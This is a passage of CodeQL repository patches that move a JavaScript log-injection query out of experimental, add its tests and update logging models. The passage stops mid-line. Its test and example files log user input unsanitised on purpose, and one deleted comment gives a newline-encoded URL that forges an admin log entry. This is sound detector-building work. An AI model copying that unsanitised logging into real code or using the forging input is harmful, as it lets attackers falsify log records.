b/python/ql/test/experimental/dataflow/coverage/dataflow.expected index 06dc128f283..930f77392b6 100644 --- a/python/ql/test/experimental/dataflow/coverage/dataflow.expected +++ b/python/ql/test/experimental/dataflow/coverage/dataflow.expected @@ -61,6 +61,7 @@ edges | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:492:33:492:38 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:497:39:497:44 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:509:9:509:14 | ControlFlowNode for SOURCE | +| test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:521:10:521:15 | ControlFlowNode for SOURCE | | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | test.py:596:16:596:21 | ControlFlowNode for SOURCE | | test.py:20:1:20:6 | GSSA Variable SOURCE | test.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module test | | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:20:1:20:6 | GSSA Variable SOURCE | @@ -180,6 +181,10 @@ edges | test.py:497:39:497:44 | ControlFlowNode for SOURCE | test.py:497:10:497:45 | KwOverflowNode for f_extra_keyword() [Dictionary element at key b] | | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | +| test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | +| test.py:522:5:522:5 | SSA variable a | test.py:523:10:523:10 | ControlFlowNode for a | +| test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | test.py:522:5:522:5 | SSA variable a | | test.py:596:16:596:21 | ControlFlowNode for SOURCE | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | nodes | datamodel.py:0:0:0:0 | ModuleVariableNode for Global Variable SOURCE in Module datamodel | semmle.label | ModuleVariableNode for Global Variable SOURCE in Module datamodel | @@ -357,6 +362,11 @@ nodes | test.py:509:9:509:14 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:511:10:511:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:516:10:516:10 | ControlFlowNode for b | semmle.label | ControlFlowNode for b | +| test.py:521:10:521:15 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | +| test.py:521:10:521:26 | ControlFlowNode for Tuple [Tuple element at index 0] | semmle.label | ControlFlowNode for Tuple [Tuple element at index 0] | +| test.py:522:5:522:5 | SSA variable a | semmle.label | SSA variable a | +| test.py:522:12:522:12 | ControlFlowNode for t [Tuple element at index 0] | semmle.label | ControlFlowNode for t [Tuple element at index 0] | +| test.py:523:10:523:10 | ControlFlowNode for a | semmle.label | ControlFlowNode for a | | test.py:596:16:596:21 | ControlFlowNode for SOURCE | semmle.label | ControlFlowNode for SOURCE | | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | semmle.label | ControlFlowNode for return_from_inner_scope() | #select @@ -456,5 +466,7 @@ nodes | test.py:511:10:511:10 | ControlFlowNode for a | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:511:10:511:10 | ControlFlowNode for a | Flow found | | test.py:516:10:516:10 | ControlFlowNode for b | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | | test.py:516:10:516:10 | ControlFlowNode for b | test.py:509:9:509:14 | ControlFlowNode for SOURCE | test.py:516:10:516:10 | ControlFlowNode for b | Flow found | +| test.py:523:10:523:10 | ControlFlowNode for a | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | +| test.py:523:10:523:10 | ControlFlowNode for a | test.py:521:10:521:15 | ControlFlowNode for SOURCE | test.py:523:10:523:10 | ControlFlowNode for a | Flow found | | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | test.py:20:10:20:17 | ControlFlowNode for Str | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | Flow found | | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | test.py:596:16:596:21 | ControlFlowNode for SOURCE | test.py:599:10:599:36 | ControlFlowNode for return_from_inner_scope() | Flow found | diff --git a/python/ql/test/experimental/dataflow/coverage/test.py b/python/ql/test/experimental/dataflow/coverage/test.py index 2787103fd87..d3cd19d732b 100644 --- a/python/ql/test/experimental/dataflow/coverage/test.py +++ b/python/ql/test/experimental/dataflow/coverage/test.py @@ -520,7 +520,7 @@ def test_swap(): def test_unpacking_assignment(): t = (SOURCE, NONSOURCE) a, b = t - SINK(a) # Flow missing + SINK(a) SINK_F(b) From a08e1db601717be726dc576616fcd6ba24c29c14 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen Date: Mon, 30 Nov 2020 17:43:56 +0100 Subject: [PATCH 0108/1241] Python: Remove leftover note to self in qhelp file --- .../ExternalAPIsUsedWithUntrustedData.qhelp | 2 -- 1 file changed, 2 deletions(-) diff --git a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp index 50d7d6481ab..0627615ca64 100644 --- a/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp +++ b/python/ql/src/Security/CWE-020-ExternalAPIs/ExternalAPIsUsedWithUntrustedData.qhelp @@ -57,5 +57,3 @@ reviewed as a possible taint step, because tainted data would flow from the 0th
    - -Mention something about `pickle.loads(user_input)` From f6c358861ca1c8e539242998a18f4d9ea75d8b4a Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 30 Nov 2020 16:09:06 +0100 Subject: [PATCH 0109/1241] convert logging models to use API-graphs --- .../semmle/javascript/frameworks/Logging.qll | 41 +++++++++++++------ 1 file changed, 28 insertions(+), 13 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/frameworks/Logging.qll b/javascript/ql/src/semmle/javascript/frameworks/Logging.qll index 6a27a95f691..cf632cc6e1e 100644 --- a/javascript/ql/src/semmle/javascript/frameworks/Logging.qll +++ b/javascript/ql/src/semmle/javascript/frameworks/Logging.qll @@ -38,11 +38,22 @@ string getAStandardLoggerMethodName() { */ private module Console { /** - * Gets a data flow source node for the console library. + * An API entrypoint for the global `console` variable. */ - private DataFlow::SourceNode console() { - result = DataFlow::moduleImport("console") or - result = DataFlow::globalVarRef("console") + private class ConsoleGlobalEntry extends API::EntryPoint { + ConsoleGlobalEntry() { this = "ConsoleGlobalEntry" } + + override DataFlow::SourceNode getAUse() { result = DataFlow::globalVarRef("console") } + + override DataFlow::Node getARhs() { none() } + } + + /** + * Gets a api node for the console library. + */ + private API::Node console() { + result = API::moduleImport("console") or + result = API::root().getASuccessor(any(ConsoleGlobalEntry e)) } /** @@ -56,7 +67,7 @@ private module Console { name = getAStandardLoggerMethodName() or name = "assert" ) and - this = console().getAMemberCall(name) + this = console().getMember(name).getACall() } override DataFlow::Node getAMessageComponent() { @@ -85,7 +96,7 @@ private module Loglevel { */ class LoglevelLoggerCall extends LoggerCall { LoglevelLoggerCall() { - this = DataFlow::moduleMember("loglevel", getAStandardLoggerMethodName()).getACall() + this = API::moduleImport("loglevel").getMember(getAStandardLoggerMethodName()).getACall() } override DataFlow::Node getAMessageComponent() { result = getAnArgument() } @@ -102,9 +113,11 @@ private module Winston { class WinstonLoggerCall extends LoggerCall, DataFlow::MethodCallNode { WinstonLoggerCall() { this = - DataFlow::moduleMember("winston", "createLogger") + API::moduleImport("winston") + .getMember("createLogger") + .getReturn() + .getMember(getAStandardLoggerMethodName()) .getACall() - .getAMethodCall(getAStandardLoggerMethodName()) } override DataFlow::Node getAMessageComponent() { @@ -125,9 +138,11 @@ private module log4js { class Log4jsLoggerCall extends LoggerCall { Log4jsLoggerCall() { this = - DataFlow::moduleMember("log4js", "getLogger") + API::moduleImport("log4js") + .getMember("getLogger") + .getReturn() + .getMember(getAStandardLoggerMethodName()) .getACall() - .getAMethodCall(getAStandardLoggerMethodName()) } override DataFlow::Node getAMessageComponent() { result = getAnArgument() } @@ -145,7 +160,7 @@ private module Npmlog { string name; Npmlog() { - this = DataFlow::moduleMember("npmlog", name).getACall() and + this = API::moduleImport("npmlog").getMember(name).getACall() and name = getAStandardLoggerMethodName() } @@ -170,8 +185,8 @@ private module Fancylog { */ class Fancylog extends LoggerCall { Fancylog() { - this = DataFlow::moduleMember("fancy-log", getAStandardLoggerMethodName()).getACall() or - this = DataFlow::moduleImport("fancy-log").getACall() + this = API::moduleImport("fancy-log").getMember(getAStandardLoggerMethodName()).getACall() or + this = API::moduleImport("fancy-log").getACall() } override DataFlow::Node getAMessageComponent() { result = getAnArgument() } From 6f29a877fafec6dfa24ec561df6b2a4ad6419e90 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 30 Nov 2020 16:29:31 +0100 Subject: [PATCH 0110/1241] move logInjection out of experimental --- .../CWE-117/LogInjection.qhelp} | 0 .../Security/CWE-117/LogInjection.ql | 4 +- .../CWE-117/examples/logInjectionBad.js | 10 +++ .../CWE-117/examples/logInjectionGood.js | 13 ++++ .../CWE-117/examples/logInjectionBad.js | 68 ------------------- .../CWE-117/examples/logInjectionGood.js | 51 -------------- .../security/dataflow}/LogInjection.qll | 0 7 files changed, 25 insertions(+), 121 deletions(-) rename javascript/ql/src/{experimental/Security/CWE-117/LogInjection.help => Security/CWE-117/LogInjection.qhelp} (100%) rename javascript/ql/src/{experimental => }/Security/CWE-117/LogInjection.ql (86%) create mode 100644 javascript/ql/src/Security/CWE-117/examples/logInjectionBad.js create mode 100644 javascript/ql/src/Security/CWE-117/examples/logInjectionGood.js delete mode 100644 javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionBad.js delete mode 100644 javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionGood.js rename javascript/ql/src/{experimental/Security/CWE-117 => semmle/javascript/security/dataflow}/LogInjection.qll (100%) diff --git a/javascript/ql/src/experimental/Security/CWE-117/LogInjection.help b/javascript/ql/src/Security/CWE-117/LogInjection.qhelp similarity index 100% rename from javascript/ql/src/experimental/Security/CWE-117/LogInjection.help rename to javascript/ql/src/Security/CWE-117/LogInjection.qhelp diff --git a/javascript/ql/src/experimental/Security/CWE-117/LogInjection.ql b/javascript/ql/src/Security/CWE-117/LogInjection.ql similarity index 86% rename from javascript/ql/src/experimental/Security/CWE-117/LogInjection.ql rename to javascript/ql/src/Security/CWE-117/LogInjection.ql index 0ccab98798c..ad374bac55c 100644 --- a/javascript/ql/src/experimental/Security/CWE-117/LogInjection.ql +++ b/javascript/ql/src/Security/CWE-117/LogInjection.ql @@ -4,7 +4,7 @@ * insertion of forged log entries by a malicious user. * @kind path-problem * @problem.severity error - * @precision high + * @precision medium * @id js/log-injection * @tags security * external/cwe/cwe-117 @@ -12,7 +12,7 @@ import javascript import DataFlow::PathGraph -import LogInjection::LogInjection +import semmle.javascript.security.dataflow.LogInjection::LogInjection from LogInjectionConfiguration config, DataFlow::PathNode source, DataFlow::PathNode sink where config.hasFlowPath(source, sink) diff --git a/javascript/ql/src/Security/CWE-117/examples/logInjectionBad.js b/javascript/ql/src/Security/CWE-117/examples/logInjectionBad.js new file mode 100644 index 00000000000..543572f28e4 --- /dev/null +++ b/javascript/ql/src/Security/CWE-117/examples/logInjectionBad.js @@ -0,0 +1,10 @@ +const http = require('http'); +const url = require('url'); + +const server = http.createServer((req, res) => { + let q = url.parse(req.url, true); + + console.info(`[INFO] User: ${q.query.username}`); // BAD: User input logged as-is +}) + +server.listen(3000, '127.0.0.1', () => {}); diff --git a/javascript/ql/src/Security/CWE-117/examples/logInjectionGood.js b/javascript/ql/src/Security/CWE-117/examples/logInjectionGood.js new file mode 100644 index 00000000000..7b8c3937526 --- /dev/null +++ b/javascript/ql/src/Security/CWE-117/examples/logInjectionGood.js @@ -0,0 +1,13 @@ +const http = require('http'); +const url = require('url'); + +const server = http.createServer((req, res) => { + let q = url.parse(req.url, true); + + // GOOD: remove newlines from user controlled input before logging + let username = q.query.username.replace(/\n|\r/g, ""); + + console.info(`[INFO] User: ${username}`); +}); + +server.listen(3000, '127.0.0.1', () => {}); diff --git a/javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionBad.js b/javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionBad.js deleted file mode 100644 index 9d2c81ba023..00000000000 --- a/javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionBad.js +++ /dev/null @@ -1,68 +0,0 @@ -const http = require('http'); -const hostname = '127.0.0.1'; -const port = 3000; -const url = require('url'); - - -const check_username = (username) => { - if (username != 'name') throw `${username} is not valid`; - // do something -} - -const my_logger = { - log: console.log -} - -const another_logger = console.log - -// http://127.0.0.1:3000/data?username=Guest%0a[INFO]+User:+Admin%0a - - - -const server = http.createServer((req, res) => { - let q = url.parse(req.url, true); - - let username = q.query.username; - - // BAD: User input logged as-is - console.info(`[INFO] User: ${username}`); - // [INFO] User: Guest - // [INFO] User: Admin - // - - // BAD: User input logged as-is - console.info(`[INFO] User: %s`, username); - // [INFO] User: Guest - // [INFO] User: Admin - // - - - // BAD: User input logged as-is - my_logger.log('[INFO] User:', username); - // [INFO] User: Guest - // [INFO] User: Admin - // - - // BAD: User input logged as-is - another_logger('[INFO] User:', username); - // [INFO] User: Guest - // [INFO] User: Admin - // - - try { - check_username(username) - - } catch (error) { - // BAD: Error with user input logged as-is - console.error(`[ERROR] Error: "${error}"`); - // [ERROR] Error: "Guest - // [INFO] User: Admin - // is not valid" - - } - -}) - -server.listen(port, hostname, () => { - console.log(`Server running at http://${hostname}:${port}/`); -}); diff --git a/javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionGood.js b/javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionGood.js deleted file mode 100644 index 6be10534c70..00000000000 --- a/javascript/ql/src/experimental/Security/CWE-117/examples/logInjectionGood.js +++ /dev/null @@ -1,51 +0,0 @@ -const http = require('http'); -const hostname = '127.0.0.1'; -const port = 3000; -const url = require('url'); - -const check_username = (username) => { - if (username != 'name') throw `${username} is not valid`; - // do something -} - -const logger = { - log: console.log -} - -const another_logger = console.log - -// http://127.0.0.1:3000/data?username=Guest%0a[INFO]+User:+Admin%0a - -const server = http.createServer((req, res) => { - let q = url.parse(req.url, true); - - // GOOD: remove `\n` line from user controlled input before logging - let username = q.query.username.replace(/\n/g, ""); - - console.info(`[INFO] User: ${username}`); - // [INFO] User: Guest[INFO] User: Admin - - console.info(`[INFO] User: %s`, username); - // [INFO] User: Guest[INFO] User: Admin - - logger.log('[INFO] User:', username); - // [INFO] User: Guest[INFO] User: Admin - - another_logger('[INFO] User:', username); - // [INFO] User: Guest[INFO] User: Admin - - try { - check_username(username) - - } catch (error) { - console.error(`[ERROR] Error: "${error}"`); - // [ERROR] Error: "Guest[INFO] User: Admin is not valid" - - } - -}) - -server.listen(port, hostname, () => { - console.log(`Server running at http://${hostname}:${port}/`); -}); - diff --git a/javascript/ql/src/experimental/Security/CWE-117/LogInjection.qll b/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll similarity index 100% rename from javascript/ql/src/experimental/Security/CWE-117/LogInjection.qll rename to javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll From dea2eb54438b92819bd4feb799de8117f3f2c0bd Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 30 Nov 2020 16:30:09 +0100 Subject: [PATCH 0111/1241] simplify the logging sink - using the new API-graph logging models --- .../security/dataflow/LogInjection.qll | 36 +------------------ 1 file changed, 1 insertion(+), 35 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll b/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll index 0ac5ee4f361..99239727e50 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll @@ -40,45 +40,11 @@ module LogInjection { RemoteSource() { this instanceof RemoteFlowSource } } - /** - * An source node representing a logging mechanism. - */ - class ConsoleSource extends DataFlow::SourceNode { - ConsoleSource() { - exists(DataFlow::SourceNode node | - node = this and this = DataFlow::moduleImport("console") - or - this = DataFlow::globalVarRef("console") - ) - } - } - - /** - * A call to a logging mechanism. For example, the call could be in the following forms: - * `console.log('hello')` or - * - * `let logger = console.log;` - * `logger('hello')` or - * - * `let logger = {info: console.log};` - * `logger.info('hello')` - */ - class LoggingCall extends DataFlow::CallNode { - LoggingCall() { - exists(DataFlow::SourceNode node, string propName | - any(ConsoleSource console).getAPropertyRead() = node.getAPropertySource(propName) and - this = node.getAPropertyRead(propName).getACall() - ) - or - this = any(LoggerCall call) - } - } - /** * An argument to a logging mechanism. */ class LoggingSink extends Sink { - LoggingSink() { this = any(LoggingCall console).getAnArgument() } + LoggingSink() { this = any(LoggerCall console).getAMessageComponent() } } /** From 9a31ed13ac83ab870df1d775013c70592622d835 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 30 Nov 2020 16:30:22 +0100 Subject: [PATCH 0112/1241] add test case --- .../Security/CWE-117/LogInjection.expected | 53 +++++++++++++++++++ .../Security/CWE-117/LogInjection.qlref | 1 + .../Security/CWE-117/logInjectionBad.js | 32 +++++++++++ .../Security/CWE-117/logInjectionGood.js | 29 ++++++++++ 4 files changed, 115 insertions(+) create mode 100644 javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected create mode 100644 javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref create mode 100644 javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js create mode 100644 javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js diff --git a/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected new file mode 100644 index 00000000000..57e56c2cee0 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.expected @@ -0,0 +1,53 @@ +nodes +| logInjectionBad.js:19:9:19:36 | q | +| logInjectionBad.js:19:13:19:36 | url.par ... , true) | +| logInjectionBad.js:19:23:19:29 | req.url | +| logInjectionBad.js:19:23:19:29 | req.url | +| logInjectionBad.js:20:9:20:35 | username | +| logInjectionBad.js:20:20:20:20 | q | +| logInjectionBad.js:20:20:20:26 | q.query | +| logInjectionBad.js:20:20:20:35 | q.query.username | +| logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | +| logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | +| logInjectionBad.js:22:34:22:41 | username | +| logInjectionBad.js:23:37:23:44 | username | +| logInjectionBad.js:23:37:23:44 | username | +| logInjectionBad.js:24:35:24:42 | username | +| logInjectionBad.js:24:35:24:42 | username | +| logInjectionBad.js:25:36:25:43 | username | +| logInjectionBad.js:25:36:25:43 | username | +| logInjectionBad.js:28:9:28:32 | exceptional return of check_u ... ername) | +| logInjectionBad.js:28:24:28:31 | username | +| logInjectionBad.js:29:14:29:18 | error | +| logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | +| logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | +| logInjectionBad.js:30:42:30:46 | error | +edges +| logInjectionBad.js:19:9:19:36 | q | logInjectionBad.js:20:20:20:20 | q | +| logInjectionBad.js:19:13:19:36 | url.par ... , true) | logInjectionBad.js:19:9:19:36 | q | +| logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:19:13:19:36 | url.par ... , true) | +| logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:19:13:19:36 | url.par ... , true) | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:22:34:22:41 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:23:37:23:44 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:23:37:23:44 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:24:35:24:42 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:24:35:24:42 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:25:36:25:43 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:25:36:25:43 | username | +| logInjectionBad.js:20:9:20:35 | username | logInjectionBad.js:28:24:28:31 | username | +| logInjectionBad.js:20:20:20:20 | q | logInjectionBad.js:20:20:20:26 | q.query | +| logInjectionBad.js:20:20:20:26 | q.query | logInjectionBad.js:20:20:20:35 | q.query.username | +| logInjectionBad.js:20:20:20:35 | q.query.username | logInjectionBad.js:20:9:20:35 | username | +| logInjectionBad.js:22:34:22:41 | username | logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | +| logInjectionBad.js:22:34:22:41 | username | logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | +| logInjectionBad.js:28:9:28:32 | exceptional return of check_u ... ername) | logInjectionBad.js:29:14:29:18 | error | +| logInjectionBad.js:28:24:28:31 | username | logInjectionBad.js:28:9:28:32 | exceptional return of check_u ... ername) | +| logInjectionBad.js:29:14:29:18 | error | logInjectionBad.js:30:42:30:46 | error | +| logInjectionBad.js:30:42:30:46 | error | logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | +| logInjectionBad.js:30:42:30:46 | error | logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | +#select +| logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:22:18:22:43 | `[INFO] ... rname}` | $@ flows to log entry. | logInjectionBad.js:19:23:19:29 | req.url | User-provided value | +| logInjectionBad.js:23:37:23:44 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:23:37:23:44 | username | $@ flows to log entry. | logInjectionBad.js:19:23:19:29 | req.url | User-provided value | +| logInjectionBad.js:24:35:24:42 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:24:35:24:42 | username | $@ flows to log entry. | logInjectionBad.js:19:23:19:29 | req.url | User-provided value | +| logInjectionBad.js:25:36:25:43 | username | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:25:36:25:43 | username | $@ flows to log entry. | logInjectionBad.js:19:23:19:29 | req.url | User-provided value | +| logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | logInjectionBad.js:19:23:19:29 | req.url | logInjectionBad.js:30:23:30:49 | `[ERROR ... rror}"` | $@ flows to log entry. | logInjectionBad.js:19:23:19:29 | req.url | User-provided value | diff --git a/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref new file mode 100644 index 00000000000..1837c628c33 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-117/LogInjection.qlref @@ -0,0 +1 @@ +Security/CWE-117/LogInjection.ql diff --git a/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js new file mode 100644 index 00000000000..a82fdfc52ef --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionBad.js @@ -0,0 +1,32 @@ +const http = require('http'); +const hostname = '127.0.0.1'; +const port = 3000; +const url = require('url'); + + +const check_username = (username) => { + if (username != 'name') throw `${username} is not valid`; + // do something +} + +const my_logger = { + log: console.log +} + +const another_logger = console.log + +const server = http.createServer((req, res) => { + let q = url.parse(req.url, true); + let username = q.query.username; + + console.info(`[INFO] User: ${username}`); // NOT OK + console.info(`[INFO] User: %s`, username); // NOT OK + my_logger.log('[INFO] User:', username); // NOT OK + another_logger('[INFO] User:', username); // NOT OK + + try { + check_username(username) + } catch (error) { + console.error(`[ERROR] Error: "${error}"`); // NOT OK + } +}); \ No newline at end of file diff --git a/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js new file mode 100644 index 00000000000..92707931399 --- /dev/null +++ b/javascript/ql/test/query-tests/Security/CWE-117/logInjectionGood.js @@ -0,0 +1,29 @@ +const http = require('http'); +const url = require('url'); + +const check_username = (username) => { + if (username != 'name') throw `${username} is not valid`; +} + +const logger = { + log: console.log +} + +const another_logger = console.log + +const server = http.createServer((req, res) => { + let q = url.parse(req.url, true); + + // GOOD: remove `\n` line from user controlled input before logging + let username = q.query.username.replace(/\n|\r/g, ""); + + console.info(`[INFO] User: ${username}`); // OK + console.info(`[INFO] User: %s`, username); // OK + logger.log('[INFO] User:', username); // OK + another_logger('[INFO] User:', username); // OK + try { + check_username(username) + } catch (error) { + console.error(`[ERROR] Error: "${error}"`); + } +}); From afbb921c7e52103ce2b3203055f19aaaaca65d7e Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Mon, 30 Nov 2020 16:32:49 +0100 Subject: [PATCH 0113/1241] add change note --- javascript/change-notes/2020-11-30-loginjection.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 javascript/change-notes/2020-11-30-loginjection.md diff --git a/javascript/change-notes/2020-11-30-loginjection.md b/javascript/change-notes/2020-11-30-loginjection.md new file mode 100644 index 00000000000..dd2ecaa557a --- /dev/null +++ b/javascript/change-notes/2020-11-30-loginjection.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* The `js/log-injection` query has been moved into non-experimental, and the precision of the query has been changed to medium. From c50951cbae457aedd92e75e2bdd31ca2d333becc Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen Date: Tue, 1 Dec 2020 09:48:35 +0100 Subject: [PATCH 0114/1241] add missing qldoc --- .../src/semmle/javascript/security/dataflow/LogInjection.qll | 3 +++ 1 file changed, 3 insertions(+) diff --git a/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll b/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll index 99239727e50..1cb2ad3bc8c 100644 --- a/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll +++ b/javascript/ql/src/semmle/javascript/security/dataflow/LogInjection.qll @@ -4,6 +4,9 @@ import javascript +/** + * Provides default sources, sink, and sanitizers for reasoning about untrusted user input used in log entries. + */ module LogInjection { /** * A data flow source for user input used in log entries. From 79f32b0e262b41f78801862f0aa4541d5d5a0a35 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Tue, 1 Dec 2020 10:51:51 +0000 Subject: [PATCH 0115/1241] C++: Autoformat. --- .../cpp/models/implementations/StdString.qll | 56 ++++++------------- 1 file changed, 16 insertions(+), 40 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 2a2eba43ded..e9c942f649b 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -74,9 +74,7 @@ private class StdStringConstructor extends Constructor, TaintFunction { * The `std::string` function `c_str`. */ private class StdStringCStr extends TaintFunction { - StdStringCStr() { - this = any(StdBasicString s).getAnInstMemberNamed("c_str") - } + StdStringCStr() { this = any(StdBasicString s).getAnInstMemberNamed("c_str") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -89,9 +87,7 @@ private class StdStringCStr extends TaintFunction { * The `std::string` function `data`. */ private class StdStringData extends TaintFunction { - StdStringData() { - this = any(StdBasicString s).getAnInstMemberNamed("data") - } + StdStringData() { this = any(StdBasicString s).getAnInstMemberNamed("data") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -109,9 +105,7 @@ private class StdStringData extends TaintFunction { * The `std::string` function `push_back`. */ private class StdStringPush extends TaintFunction { - StdStringPush() { - this = any(StdBasicString s).getAnInstMemberNamed("push_back") - } + StdStringPush() { this = any(StdBasicString s).getAnInstMemberNamed("push_back") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from parameter to qualifier @@ -124,9 +118,7 @@ private class StdStringPush extends TaintFunction { * The `std::string` functions `front` and `back`. */ private class StdStringFrontBack extends TaintFunction { - StdStringFrontBack() { - this = any(StdBasicString s).getAnInstMemberNamed(["front", "back"]) - } + StdStringFrontBack() { this = any(StdBasicString s).getAnInstMemberNamed(["front", "back"]) } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from object to returned reference @@ -203,9 +195,7 @@ private class StdStringAppend extends TaintFunction { * The standard function `std::string.assign`. */ private class StdStringAssign extends TaintFunction { - StdStringAssign() { - this = any(StdBasicString s).getAnInstMemberNamed("assign") - } + StdStringAssign() { this = any(StdBasicString s).getAnInstMemberNamed("assign") } /** * Gets the index of a parameter to this function that is a string (or @@ -245,9 +235,7 @@ private class StdStringAssign extends TaintFunction { * The standard function `std::string.copy`. */ private class StdStringCopy extends TaintFunction { - StdStringCopy() { - this = any(StdBasicString s).getAnInstMemberNamed("copy") - } + StdStringCopy() { this = any(StdBasicString s).getAnInstMemberNamed("copy") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // copy(dest, num, pos) @@ -260,9 +248,7 @@ private class StdStringCopy extends TaintFunction { * The standard function `std::string.substr`. */ private class StdStringSubstr extends TaintFunction { - StdStringSubstr() { - this = 